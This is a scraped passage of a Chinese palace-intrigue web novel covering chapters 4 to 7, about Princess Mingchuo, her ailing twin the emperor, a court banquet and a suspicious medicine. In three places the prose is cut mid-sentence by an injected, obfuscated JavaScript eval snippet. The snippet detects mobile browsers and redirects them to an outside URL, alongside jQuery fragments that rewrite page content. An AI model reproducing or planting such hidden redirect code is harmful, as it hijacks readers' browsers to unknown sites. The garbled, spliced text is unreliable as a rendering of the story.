拿牛奶羊奶做这些吃食是从北边传过来的手艺,中原很少有人会。上阳宫里有寻常的酥酪乳饼,但从来没见过醍醐,足以说明这东西到底有多珍贵,要是太医再说这东西滋补,那太父会紧着先给含清宫真是再正常不过了。 只是明绰也不是没见过好东西,又不缺这一口,没这么小气。 萧盈:“朕也天天给你备一碗。” 明绰便把果脯咽下去,一句戳穿他的心思:“皇兄就想拿这个诱我天天来陪你上课呀?” 萧盈没说是,但也没否认,就是不动声色地把明绰刚刚捡过的果脯又往前推了推。他说话行事都不像小孩子,站起来比明绰都高一个头了,唯独这会儿的眼神,倒是让明绰有一种她才是大人的感觉。 长公主骄傲地昂起下巴:“我就算愿意来,也不会是为了一碗醍醐,皇兄别瞧不起人。” 萧盈便没说什么,只是笑。明绰发现他其实话不是很多,只是在谢郯面前一大篇一大篇地说个没完。 明绰把身子稍稍前倾:“皇兄,你是怎么知道西海十八部的内情的?书上看来的吗?” “听苏学士说的。” 苏学士就是那个一头白发的年轻人,从头到尾也没讲过两句话,不是帮萧盈添茶就是给明绰设座,跟含清宫里的宫人差不多。 明绰一脸不信:“他?” 萧盈解释:“苏学士是父皇当年亲自点的西域使持节,他行遍诸国,先被诰弗部扣押,又在战乱里落入屠珲部之手。在西海蹉跎九年,朝中没有比他更了解西海诸部之人了。” 当年怀帝亦是少年登基,比如今的萧盈大了没几岁,雄心勃勃,不仅想要收复长安,还想要把大雍的版图扩张出去,所以遣了苏絷西行。可是这么多年音讯断绝,等他九死一生地回到建康,当年意气风发的君上已成枯骨一抔。 苏絷在朝中无人,出使多年又无建树,是以并没有得到重用,只被谢郯收作太尉府书佐,是个最低等的文职。 明绰微微肃然:“怪不得一头白发。” 萧盈也是叹气:“他心中有大才,那纵横捭阖之策也是苏卿所献……” 他话还没说完,明绰猛地抬头:“那不是你想出来的啊?” 萧盈一愣,看着明绰中气十足地“哈!”了一声,脸上全是得意。 “我还以为你多聪明呢。”明绰又用手指去捡炒豆子,高高兴兴地抛着吃。 谢郯有意在她面前问萧盈应对乌兰郁弗之策,就是敲打明绰,让她知道,她不过是歪打正着,其实什么都不懂。再加上萧盈条分缕析地说了西海诸部的情况,明绰什么都不知道,难免也确实被敲打到了两分。 皇兄有醍醐,她没有,这样的小事她可以不在意。但是皇兄要是真的比她聪明太多,那就让太父说中了,她还是不太高兴的。 明绰心里痛快多了:“我要是有这么个人给我讲解西海诸部的情形,我也想得出来!” 萧盈总算明白过来她在想什么了,突然道:“那可未必。” 明绰眼睛一瞪:“你不信啊?” 萧盈不置可否地眨眨眼,只是看着她。那角度十分巧,半在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893229|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯下半是影,原本还一团孩子气的脸上倒也出现了一些棱角,更添他颜色。 “哦,”明绰半点没有被他的花容月貌所迷惑,“你又激我。” 萧盈一口否认:“朕没有。” “我才不上当。”明绰拍拍手,把指尖沾的糖粒盐粒都拍了干净。原本敷在她掌心的绿色叶泥已经干透了,被她这么拍两下,也都掉了下来。萧盈把帕子递给她,明绰也没要,只扬声叫梁芸姑,“我们回去吧!” 萧盈看着她站起来,突然叮嘱道:“朕今日已经说了你不会再犯,明日可千万不能再迟。” 明绰头也不回:“我可没说明日我还来不来。” 萧盈没想到她如此严防死守,一句都不肯着他的道。一时黔驴技穷,只好老老实实地问:“那你明日还来不来?” 明绰就笑了笑,并不回答。兄妹两个说这一会儿话的功夫,天已经黑得差不多了。守在外面的不只是梁芸姑,还有谢太后派来问话的人,一道等着接东乡公主回去。见到上阳宫的人在外面,萧盈便止了步,看着梁芸姑给明绰披好了夹袄。 明绰往外走了两步,又想起了什么,回头望了望。萧盈还站在那里,殿外是云垂沉暝,殿内却烛光煌煌,把他的身影衬得又瘦又长。明绰不禁又在心里想,皇兄长得真高。 明明是一母同胞的双生子,面对面站着的时候,明绰却要抬头才能看见他的脸,不然就只能闻着他襟口散出来的清苦药香。 明绰微微屈膝,朝殿中的瘦长人影行礼:“陛下,东乡告退了。” 上阳宫里已经备好了晚饭,只可惜塞了一肚子果脯蜜饯的明绰根本就没动上几口。谢拂霜还以为她是挨了戒尺心里不高兴,软声细语地哄了一顿饭的功夫,说来说去,就是“太父也是为你好”。 谢郯肯定不是为了她好。明绰咬着筷子尖,看见掌心还有一块一块斑斑驳驳的绿痕。 谢拂霜又道:“你若明日就不肯去了,太父定会说你半途而废。” 明绰油盐不进:“母后也不用激我。” 谢拂霜被她那小大人的模样逗得又可气又可笑:“那你明日到底去不去?” 明绰放下筷子,只道:“我明日再想想吧。” 翌日,雪满建康。 萧盈起来以后就看见了满目的雪光,天光未亮,在月色下泛着沉郁的银,空中还扯絮似的,仍下个没完。 他当即遣了人去报太尉府,雪大难行,请太父顾惜身体,今日不必来了。但派去的人出去还没多久,谢郯就已经到了,说是知道雪大难行,特意早出了门。倒是今日该来侍读的卢学士迟迟未到,两人就着热茶等了一会儿,便看见一团披了鹤氅裘的人影冲了进来。 君臣两个一时都怔住,看着小小一个人,一下子把兜帽掀开,抖了满地的雪。她似是一路跑来的,裙裾都湿了,发间也还有雪,站在殿中喘了好几口气,梁芸姑才跟了上来。 “辰时……”明绰攥着胸口的衣裳,总算喘上一口气,“辰时到了吗?” 萧盈看了一眼滴漏,然后听到谢郯道:“还没有。” 明绰便点了点头,既不给天子行礼,也没跟长辈问安,自顾自走到了萧盈身边。萧盈无声地往旁边挪了挪,刚要叫人给长公主设座,明绰已经席地而坐。 原本玉雪似的一团人,冻得鼻尖发红,让殿里的暖炉一熏,便连额头和两颊也都红了。 谢郯看在眼里,倒了杯热茶,放到了明绰面前。他不说话,萧盈也不说话,就这么安安静静地看着明绰,各自眼里含着各自的意外。 “皇兄,”明绰吸了吸冻出来的鼻涕,终于开了口,“我的羊奶醍醐呢?” 5. 第 5 章 景平十年冬,建康传谢太后谕旨,册封乌兰郁弗为长安王。乌兰郁弗随即奉上羌人国君与诸子侄的人头,以示效忠。 奉命送人头至建康的正是屠珲部大将拔拔真。国宴之上,拔拔真问及曾在西海教他汉话的使臣苏絷,得知他位卑不可列席,便向谢太尉直言大雍埋没英才。数日之后,苏絷竟愤而挂印,与拔拔真同去。 景平十二年,乌兰郁弗东进灭陈,一统北方。果然当年便于长安僭越登基,立国号为燕。谢太后命大将军桓殷领兵征讨。 但大燕立国短短一年,原本奉命据守冀州的拔拔真便自立为王,叛出乌兰。建康得到密报,称乌兰郁弗已病卒,如今即位的是他二十一岁的长子乌兰徵。兀臧部不服新主,与贺阆、渠搜联手,将乌兰部的发家之地西海占为己有。刚刚才统一的北方转眼之间又裂成了三块。 趁着乌兰徵忙着扑灭后院失火,荆州护军袁增违抗桓殷的命令,擅自领兵突袭,与大燕段太后手下的雍州兵马大战一场,虽未能直捣长安,但也逼迫大燕主动让出了原本属于荆州的三县。不久之后,乌兰徵亲自修书至建康,再表臣服之心。 越冬,桓殷班师。 谢太后于宫中设宴,嘉奖刚刚擢升平荆中郎将的袁增。 这个宴本是为了犒军,只可惜桓大将军心眼比针眼还小,袁增新贵得势,他一封上书说自己病了,就不来了。他不来,旁人便为难,不敢来,更不敢不来。谢郯倒是真病,只能在家里将养着。太后便干脆改成了私宴,只叫谢聿和袁增各携妻儿来上阳宫。 袁增自知已将桓殷得罪了个透,自是要投靠谢氏。谢聿又急于扶植军中势力,与桓氏争权。一时觥筹交错,宾主尽欢。 明绰陪坐得无聊,腿都麻了,便悄悄地变换了一个姿势。刚在案下捶了锤自己的小腿,便被谢星娥的手肘轻轻戳了一下。 只见表妹一脸鬼鬼祟祟的兴奋,眼睛不断地朝另一个方向瞟。 明绰抬起头,只见对面的少年正目不转睛地看着她。 那是袁增的长子袁煦,今年十六。此次对上雍州军,他只带一支小队,夜渡急流,一把火烧了敌方粮草。谢聿对他大为赞赏,方才还在说要给袁煦也请封。 谢星娥凑到明绰耳边,轻声道:“父亲这是替姐姐相看驸马呢!” 明绰把她一推:“焉不知舅舅是在相看女婿?” “少将军可没看上我,瞧他那双眼睛,离都离不开姐姐!” “别瞎说!”明绰轻斥一声,又推她,“你别赖在我这里,回舅母那里去!” 谢星娥不依,扯着明绰的衣角赖住了不肯走。虽说上阳宫有人伺候,但这是谢家的私宴,有些事情太后不可能做,便只有她母亲庾夫人来做这个主母,又要替谢聿布菜,还要伺候着袁将军的酒,她若坐在父母眼皮子底下,拘束也拘束死了。 要是平时,明绰还可以陪坐在母后身边。谢星娥见了姑姑害怕,就不敢过来厮磨。但是今天萧盈也不在,谢太后代天子坐上首,连明绰都不能去陪。 明绰压低声音:“皇兄今日不来了吗?” 这个谢星娥倒是知道:“陛下病了呀!” “又病了?”明绰一惊,“我昨日去含清宫,皇兄还好好的……” 谢星娥做了个怪脸,不知道是在说“我怎么知道”,还是“你又不是不知道陛下的身子”。 姐妹两个压着声音说了好几句,明绰余光一扫,见袁煦竟然还在盯着她看,见她又转过来,便朝她露出了一个微笑。 东乡公主就快满十四岁了,如今大雍就这么一位长公主,她的婚事,自然是在朝堂上被反反复复地议来议去。 袁煦相貌上佳,又少年得志,大概觉得父亲这次单独携他进宫另有深意,公主择婿舍他其谁,那眼神和笑容就都有点儿不自知地招人嫌了。 好大的胆子。 明绰心里不满,面上却装作不经意的样子,把视线转开了。袁煦见她不回应,一时有些悻悻的,只好也装作无事,听父亲说话。但没一会儿,又没忍住偷偷地看她,谁知明绰余光里留着神,马上扭头瞪了回来。 这一眼带着点儿煞气,把袁煦吓了一跳,手忙脚乱地端起面前的酒杯掩饰,又发现是空的,再伸手去拿酒盅。他身后的宫人也同时伸手要替他斟酒,两人的手碰到一处,也不知道怎么了就把酒盅打翻在地。 所有人的视线都转了过来,那宫人立刻伏地叩首。 袁煦亦惊惶道:“太后恕罪!” 明绰闲闲地转过脸,没事儿人似的。谢拂霜坐在上首,把刚才那一幕尽收眼底,自然知道是怎么回事,当即警告式地朝明绰瞪了一眼。可惜平常宠爱太过,明绰根本不怕,反而飞快地一吐舌头。 “少将军请起,”太后微笑道,“私宴罢了,不必拘束。” 袁增也道:“太后恕罪,臣久在荆州戍卫,犬子也在乡野之地呆惯了,不懂规矩,让太后见笑。” “中郎将卫国辛苦,再说这样的话,岂不是戳本宫的心吗?”谢拂霜叹了一声,举起酒杯,“本宫敬中郎将一杯。” 袁增亦举杯谢恩。 谢拂霜又道:“本宫听说中郎将有两个儿子,怎么没有一并带来?让本宫也瞧瞧二公子。” “袁綦尚幼,更不懂规矩了,哪里敢到太后面前献丑。” 谢聿:“中郎将过谦了!二公子同小女一般年岁,小女还只知道一味贪玩,二公子已在军中操练了。” 他一边说,庾夫人一边给袁增添酒。袁增微微欠身致意,又道:“男儿习武,自是要从小操练,不过同蛮牛一般,练他一身力气而已。见识气度,礼仪风姿,想是样样都不如谢小姐。” 明绰又把袁煦上下打量一圈,在“蛮牛”二字上狠狠点了点头。一边以牙还牙地推谢星娥:“原来舅舅是要把你嫁给那小蛮牛去。” 谢星娥逗明绰的时候高兴,自己却是个不禁说的,当即红了脸,轻声啐了一口:“姐姐胡说!” 谢拂霜:“你们姐妹两个说什么呢,这么高兴?” 明绰有意扬起声音:“回母后,说袁二公子和妹妹年岁相当呢,可惜二公子没来,妹妹好奇二公子生的什么模样!” 谢星娥羞窘不已,忙道:“哪有!分明是在说,少将军一直盯着东乡姐姐看呢!” 她乍然点破,袁煦当即红透了脸。谢聿大笑出声,似是乐见其成。谢太后倒是没笑,但她面上粉敷得太重,眉间鹅黄被烛火映出奇异的色彩,竟看不出她到底是个什么表情。 袁增本是嘴角微扬,应和着谢聿,突然见了谢太后的神色,便马上拉下了脸,对袁煦道:“你放肆。” “诶,中郎将!”谢聿劝了一句,“知好色则慕少艾,人之常情嘛。” 谢拂霜侧头看了兄长一眼,什么都没说。袁煦垂着头,觑着父亲的脸色,瞧他骂得不是认真的,又看谢聿眼神中有鼓励之意,竟点了点头:“是……” 是什么是。明绰心里恼火更盛,突然举起了酒杯。 “少将军!”明绰的声音扬起来,袁煦忙不迭地也跟着举杯。 明绰:“东乡虽居深宫,也十分仰慕少将军悍勇,这杯酒敬少将军!” 袁煦的头垂得更低,低声道了一句“不敢”,便匆匆将酒饮下,再不敢直视公主。 明绰嘴上要敬酒,实际只浅浅呷了一口,见袁煦放下酒杯,又道:“东乡还有一事,想请教少将军。” “东乡,”谢拂霜开了口,“别扰少将军吃酒。” 明绰闻言便笑,她似是早知道自己容色之盛,美目流盼间,满殿的烛光就都含进她眼中。袁煦勉强抬头看了一眼,便被烫到了似的,忙移开了视线。 星娥又偷笑起来,眼睛睁得大大的,满是兴奋。 “少将军才不会嫌我烦呢,”明绰托着腮,仰起脸看着袁煦,“是吧?” 袁煦已经一路脸红到了耳朵根:“不敢,长公主请问。” “雍州段氏女素有美人之名,不知道这次少将军有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893230|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有见到段太后?她生得到底美不美?” “这……”袁煦不自在地躲闪了一下,“她哪里是美人,分明胖面肥腰,凶神恶煞,像个母夜叉!” 明绰就知道他要这么说。 当年羌人作乱,雍州地处边陲,为兵祸所隔,不得随前梁南渡。段氏几代人独力支撑,在羌人、渠搜人和西海十八部你来我往的西北左右斡旋,硬是保住了雍州一块弹丸之地。蛮夷多有屠城恶习,铁骑所至之处十城九空。时间一长,雍州就成了西北的难民们唯一能去的地方,这么多年下来,竟然兵强马壮,成了一方势力。 但和冀州陈氏不同,段氏从未起过逐鹿称王的僭越之心。前梁在时,段氏翘首王师。萧氏代梁,雍州便遥叩江东。几次西征,雍州皆派兵马襄助。建康上下,提到雍州段氏,无人不敬,无人不叹。 可是毕竟孤城空悬,大雍又久未动兵,羌人缓过一口气便要秋后算账,接连征讨,非把雍州吃下去不可。段氏男丁接连战死,最后只剩一个女儿,便有了三年前与乌兰联姻,合兵灭羌一事。 自从“段氏女”成了“段皇后”,在建康士人口中,就仿佛换了个人。如今“段皇后”已成“段太后”,甚至还敢领兵对抗中原王师,那话就说得更不好听了。 明绰拍了拍手,两只眼睛瞪得大大的:“哎呀!东乡只听说少将军夜袭敌营,烧了粮草,没想到少将军都杀进主帅帐中了!” 袁煦一愣:“臣并未……” 明绰没等他说完:“那你如何知道段太后‘胖面肥腰’?” 袁煦:“两军对垒,自然见到。” “可是,”明绰眉头轻蹙,一脸不明所以的表情,“两军对垒,主帅不都是坐镇后方的么——哎呀,难不成少将军身先士卒,都杀到段太后面前去啦!那为何不将她斩于马下,今日也好为少将军封候拜将!” 她话里讽刺之意甚浓,袁煦脸上更窘,只好道:“臣……没近到段氏身边。” “哦!那东乡就明白了。”明绰又挂上了一个笑容,极淡,方才刻意为之的艳光微微收敛,一双眼睛幽幽的,整张脸便带了肃杀冷气。 “原来少将军的意思是,一个女子,若是丈夫新丧,家国飘摇,她不闭门守丧,反而站出来领兵治国,便一定是‘胖面肥腰、凶神恶煞,像个母夜叉’。” 她越说越慢,最后轻轻巧巧地一转脸,看向了谢拂霜。 袁煦的脸一下子变得煞白,马上跪了下去:“臣不敢!” “犬子口拙,”袁增道,“他是想说,段氏粗野,万万比不得我大雍的太后凤仪万千。” “小孩子玩笑,袁将军不必放在心上。”谢拂霜笑了笑,“段太后巾帼不让须眉,本宫心里只会仰慕她的气概,岂会与她比美丑?” 袁增垂首:“是臣想得窄了,不及太后的气度。” “中郎将这说话的本事也不好好教教儿子。”明绰撇了撇嘴,并没有要放过袁煦的意思,“见不得女子领兵,便编排她貌丑,照这么说,看少将军油头粉面,想必是最不会打仗的!” “东乡,不得无礼!”谢太后的声音严厉了一些,“吃了几口酒就胡言乱语,还不退下!” 明绰撅起了嘴,看起来仍不服气。站在太后身边的梁芸姑立刻会意,亲自下来要搀明绰。明绰也不要她扶,自己站起来,告退也不请一句,转身就跑了出去。 今夜所有的人都在正殿伺候,出来以后,除了还在站桩的侍卫,几乎一个人影都瞧不见。明绰脚步匆匆,方走出正殿,就见有人正好朝她这个方向过来,但远远地看见了她,竟然连声问安都没有,转身就走。 明绰下意识叫了一声:“站住!” 那人是个宫人打扮,手中还提着一个食盒,看起来跟宴上用的差不多,但身上披着氅,显然是要出门的打扮,不像是要去殿上伺候。听见明绰叫她,明显脚下一顿,然后突然又加快了脚步,竟然一溜烟地跑了。 明绰:“……” 反了天了? 6. 第 6 章 明绰本想喊侍卫,但是那宫人跑起来的身姿太熟悉,披着氅也掩不住身份。明绰当即扬起声音,叫破了她的名字:“灵芝,你给我站住!” 灵芝只好停了下来,转身朝明绰行了个礼:“长公主。” 明绰已经赶了上来,灵芝心虚,还不等明绰说话,就先发制人地问她:“长公主怎么不在宴上?” “这话该我问你。”明绰的视线垂下来,朝她手里的食盒点了点,“这什么?” 灵芝顿时露出了为难的神色,明绰越发狐疑地皱起了眉。 若是别人,明绰大概会以为她胆大包天,偷了宴上的菜去给家里人,或是相好的侍卫,但灵芝的身份不同。太后身边得力的,头一个是梁芸姑,那是有品阶的女官,能辅佐政事。第二个就是灵芝,替太后操持整个上阳宫的女婢。她要什么吃的,都不必这么鬼鬼祟祟。 明绰不耐烦了:“说话!” 灵芝只好道:“这是给陛下送去的药。” “那你躲什么?” 灵芝低下了头:“奴婢远远一看,没认出是长公主。” 明绰朝着她手里的食盒点了点头:“打开我看看。” 灵芝只好从命。食盒被掀开,里面有空碗和银勺,甚至非常贴心地装了一小包蜜饯,药则灌在一个细口壶中,以免路上洒出来。明绰伸手一掂,还是温热的。她凑到鼻子底下闻了闻,是一股熟悉的味道。 萧盈体弱,四时用药皆有不同,唯独这治心痛之症的方子,是他自小就吃,没变过的。皇兄身上都快被这药腌入味儿了,明绰一闻就闻得出来。 灵芝:“长公主,奴婢不敢撒谎。” 明绰看了她一眼,把壶口重新塞上,放了回去,一眼又看到了摆在碗边的蜜饯。 她生病的时候,母后也总是会多准备一包蜜饯,怕她不耐药苦。 明绰的脸色稍稍好看一些:“皇兄的药怎么不在含清宫熬?大冷天的,送过去都凉透了。” 灵芝:“太后近日从西域得了一味新的药引子,比原先的好,这才嘱咐奴婢熬了亲自送去,更显得太后和陛下的母子情分。” 明绰无话好说,最近西域进了新东西来是确有其事。谢太后常年被头风所扰,离不开西域来的穙齐香,谢家专门托了商队去西域采买。但是通往西域的商路不在大雍手里,那边的战事时好时坏的,也不知道下一趟要什么时候,所以东西堆得满仓满谷,吃的用的,穿的戴的,玩的赏的,什么都有,药材就更多了。 看来母后还是想着皇兄的。 这三年来,她几乎每天都去含清宫和萧盈一起进学,很多事情她都看在眼里。母子两个关系着实是不怎么样,萧盈三不五时地病一场,谢拂霜从来不关心。除了朝会和年尾的祭礼大典,母子两个私底下一面也不会见。 明绰以前不懂为什么,后来慢慢地也就心里有数了。归根结底,还是谢太尉怕太后拿捏住了年幼的天子,给大雍带来什么牝鸡司晨之祸,日后悠悠青史,谢家要遗臭万年。所以萧盈那么点儿大的时候就让他迁宫,不许谢拂霜抚养,也不让天子跟太后亲近。 灵芝没认出是她,恐怕就是把她当成谢星娥了。表妹还小,恐怕要回去乱说,又让太父知道。 明绰在心中轻轻叹了口气,把食盒重新盖好。 “知道了,”明绰把食盒整个接了过来,“我去送吧。” 灵芝愣了一下:“长公主……” “母后要问,你就说我去看皇兄的病了。” 灵芝还要说什么,但是明绰转头就走。灵芝赶紧跟上,又被喝了回来,只能眼睁睁地看着东乡公主提着食盒,也不传辇,就这么一个人,轻车熟路地朝着去含清宫的方向走去了。 明绰进门时没让人通报,萧盈一个人斜坐在榻上,手肘撑着凭几,握一卷黄纸,读得正入神。他寝宫里的蜡烛还是点得亮极,唯独悬在他头上的一枝最暗。房里一个伺候的人都没留,想是烛芯太长了,没人去剪。 明绰悄悄地把食盒放下,拿了剪子,蹑手蹑脚地过去,剪断了那截焦黑的烛芯。烛花轻轻地爆了一声,然后燃得更亮。火光在萧盈脸上轻轻一摇,但他依然没有抬头。 黄纸为正式公文专用,但是天子尚未亲政,奏疏都是递给太后的,皇兄在看什么? 明绰觑着眼睛偷看,偏偏萧盈的手把那卷黄纸持得极巧,从她的角度看不着几个字。明绰不得不踮起脚,结果萧盈又稍稍坐正了,她就只能看见皇兄未束冠的一头乌发。 “盗窥宫禁可是死罪。” 他这话说得不冷不热,头都不抬。明绰让他吓了一跳,随即往他榻边脚踏上一坐,只道:“那皇兄叫人把我拖下去砍头好啦!” 萧盈把黄纸收起来,只是笑:“别坐在下人坐的地方,上来。” 明绰不理他,趁着萧盈倾身去拉她的时候猛地一伸手,已经把那卷黄纸抢在手中,垂眼一瞥,果然是太父的一笔好字。 萧盈轻轻叹了口气,拿她没办法,只好从榻上下来,也陪着她坐在脚踏上。 谢郯的奏疏向来不会在请安上废话太多,明绰扫了两眼就看到他要给袁煦请封嫖姚都尉一事,没忍住嘟囔了一句:“还封啊?不知道的以为袁家攻破长安了呢。” 萧盈:“嫖姚都尉只是虚职。” “是啊,”明绰拖长了声音往后看,然后指着那几个字伸到了萧盈面前,“‘特许宫禁行走,随侍天子骑射习武’的虚职——这什么意思?骑射习武?” 明绰好悬没把“皇兄这副身子骨也能骑射?”这句话说出口。但萧盈听懂了她未尽之意,又是好气又是好笑地咬了咬牙:“这是中书令的意思。” “舅舅真是深谋远虑!”明绰见风使舵,“那个袁煦蛮牛似的,皇兄和他操练,肯定也能身体康健……” “蛮牛?”萧盈笑了,“朕怎么听说少将军面如冠玉,风姿俊朗,上个街都能掷果盈车?” 明绰头也不抬:“今年收成好,百姓们果子都放烂了没处搁吧。” 萧盈笑得更厉害,声音闷闷的,都从喉咙深处出来。明绰转过头,看见他襟口微敞,正露出膻中穴一块微微发红的皮肤。萧盈察觉到她的视线,大姑娘似的把白衫拢了拢。 皇兄也是该练练武。明绰心里暗想着,然后突然反应过来:“对了,我给皇兄带了药。” 她把黄纸放下,起身来去拿食盒,萧盈微微坐正了身子,看着她把那细口壶取出来,细心地用手背贴了一下。 “还是凉了。”明绰轻轻叹了口气,“母后寻来了西域的药引子,说是比原先的好,特地熬好了叫我送来的。” 萧盈抬起头看着她,烛火煌煌,映在他白得吓人的脸上,也没给他带来一丝血色,反倒是一双眼睛照得更深了。有那么一瞬间,明绰好像从他眼里看到了某种说不出的东西。但那一点眼神转瞬即逝,萧盈很快面色如常,轻声问道:“太后叫你来的?” “当然了。”明绰撒了个谎,一边扬声叫人进来。 进来的是宋夫人。她好像不知道东乡公主来了,看见明绰,突然脸色变了一下,然后又飞快地看向天子。但是等明绰也跟着把视线落到萧盈身上的时候,他又没什么异样。 明绰也没多想,只道:“劳烦姊姊去取个碳炉来,我给皇兄温药。” 宋夫人上前一步,想从明绰手里接走那药壶:“碳炉熏人,奴婢拿下去给陛下温上。” “就在这儿吧,我一路过来吹了些冷风,也好凑着碳炉烤烤火。” 宋夫人愣了一下,又看了萧盈一眼。他只点了点头,眼皮一垂,又长又密的睫羽轻轻覆下,似是累了,不想多说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893231|159969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋夫人只好微微屈膝:“喏。” 她叫人进来架好了碳炉,但兄妹两个不用人在这里伺候,又把人都遣下去了。其实天子寝殿本来就烧着地龙,一点儿也不冷,明绰只是想着,这是母后的心意,她来亲自伺候着药,皇兄也能多念母后的好。这念头揣在心里,热乎乎的,碳炉又旺,没一会儿就把她的脸烤得红红的。倒是萧盈,一张脸白惨惨,好像怎么都捂不暖。 “皇兄这是气血两亏啊。”明绰握住了萧盈的手,感觉比她从外面一路走过来的都冷,便跟宫里老太医似的叹气,“醍醐还是得吃着。” 萧盈只是笑:“含清宫的醍醐不都进了你的五脏庙?” 那倒也是。明绰马上改口:“哎呀天天灌那醍醐也没用,光长个子,又不补气血。还是多吃肉!” 萧盈懒得驳她这半吊子的医经。他的手比她的大,明绰便用两只手捧着,好玩儿似的,翻来覆去地搓他的手指。萧盈任她摆弄,突然问她:“上阳宫的宴这么早就散了?” 明绰把他的手放开,随口敷衍道:“又没我的事,坐那儿有什么意思?”然后也不管萧盈的反应,又把没看完的黄纸拿回来,继续往下看。 谢郯把请封的事情说完,又详细地汇报了袁增与雍州军交战的细节。字一写多,便看得出是病中所书,到后面笔锋明显虚浮了不少。但仍是不惜笔墨地慨叹雍州军之“倒戈”,看得明绰没忍住从鼻子里冷哼了一声,把黄纸往膝上一放。 萧盈看她这反应便没忍住调笑了一句:“长公主有奏?” 明绰阴阳怪气地挤出两个字:“岂敢?” “有话就说。” 明绰转头看着萧盈,犹豫了不过半刻,便连珠炮似的一股脑说了出来:“雍州军又不是咱们花钱养的兵,我朝西征,他们帮忙,不过是看在同族同根的情分上,又不是他们该效忠的。雍州被羌人围城的时候,陛下可曾出过兵?是乌兰郁弗领着他们灭了羌人,报了仇,又把渠搜人也打退,雍州的百姓才能过几天安生日子。于情于理,雍州军就是大燕的军民,守卫长安是天经地义,我朝有什么脸面指责他们‘倒戈’?” 萧盈托着腮听,听到最后只是微笑。明绰让他笑得有些恼,顺手就在他手肘上拍了一记:“我说错了吗?” “自然是没错。”萧盈抓住她的手,哄她似的,“接着看。” 明绰把手抽回来,依言继续往下读。只见谢郯话锋一转,又绕到了袁增身上,说他是感念段氏昔日恩义,所以才手下留情。其实袁增没在段太后手里占到什么便宜,只是大燕投鼠忌器,才有了主动让城一事,在谢郯笔下倒成了袁增高抬贵手,乌兰徵是被他感化才让城。顺便再暗贬一句桓殷阵前少谋,错失良机。 明绰:“……” 好一招春秋笔法。 谢郯在奏疏上这么写,自然不是为了糊弄天子。只是黄纸公文要造册入档,给史家编著,他无非还是为了给袁增添功。只因袁增门第不高,虽自称淮梁袁氏后人,但淮梁袁氏的本家早已在羌人之乱中被灭族,他要么是没落旁支,要么就是攀附归宗之徒,否则不会只在荆州做一个小小的护军。 明绰忍不住叹了一声:“太父是最看重门第的,这次竟然肯为袁增这般铺路。” 萧盈伸手把黄纸拿回来,慢慢地重新卷好;“因为袁增还立下了一件大功。” “可是雍州军……” “不是那个。”萧盈摇摇头,“袁增密报,荆州民间遍传歌谣……” 药被倒进瓦罐里,眼下已被烧得白汽蒸腾,萧盈的眉眼间也笼上了淡淡的一层雾。明绰面色一凛,心里隐约已经知道萧盈要说的是什么歌谣。大雍只有那一支歌谣,值得袁增越级密报,换得平步青云。 萧盈的声音轻得几乎要融进白雾中:“南山石上栽梧桐,不见鸾鸣见雀踪。” 7. 第 7 章 景平元年,怀帝的庶兄宛南王联合他同母的三弟起兵,全军传唱的便是这首《南山石上》。 当年怀帝出征的时候还未听说皇后有孕,等他的梓棺从长安回来的时候,谢后就已有了遗腹子,然后顺理成章地生下了一男一女的双胎,世上岂有这么凑巧的事? 妖后祸国,奸相当朝,明堂上高坐的少帝更是不知道哪来的野种。宛南王振臂一呼,兵临城下。 执金吾卫挡住了宛南王的大军,但是挡不住一支歌,其时建康城内外的流民、乞儿无人不唱。谢太后下了严令,凡有传唱此谣的一律极刑,连小孩都没有放过,血淋淋地挂满了城墙。 不久之后,谢郯亲自领兵全歼宛南王于宿州。叛党贰臣的血顺着江河流进建康,都城内外噤若寒蝉。 但不到一年,怀帝嫡亲的四弟燕康王又步了兄长们的后尘,唱的还是这支歌。这一次没走到起兵的一步就被府上的长史告发,建康派了一支执金吾卫前去封地拿人,遭到了负隅顽抗,燕康王被当场射杀,这支歌谣才算是彻底绝了迹。 自此,长沙王萧忞成了怀帝唯一还活着的兄弟。虽早已封王,却一直被软禁在建康。明绰对萧忞还有印象,小的时候,萧忞和他的母亲李姬常来上阳宫请安。李姬算起来还是谢拂霜的婆母,但在太后面前做小伏低,萧忞更是唯唯诺诺,谢拂霜声音抬高一分都能把他吓哭。 就是因为他们母子的谦恭柔顺,到景平七年,谢太后终于发了慈悲,允许萧忞去封地就藩。 但毕竟前车之鉴不远,长沙王府上的长史、司马全都是谢郯的人,建康还专派了御史隔三差五就去巡视,萧忞的境遇其实不比当初在建康宽松多少。 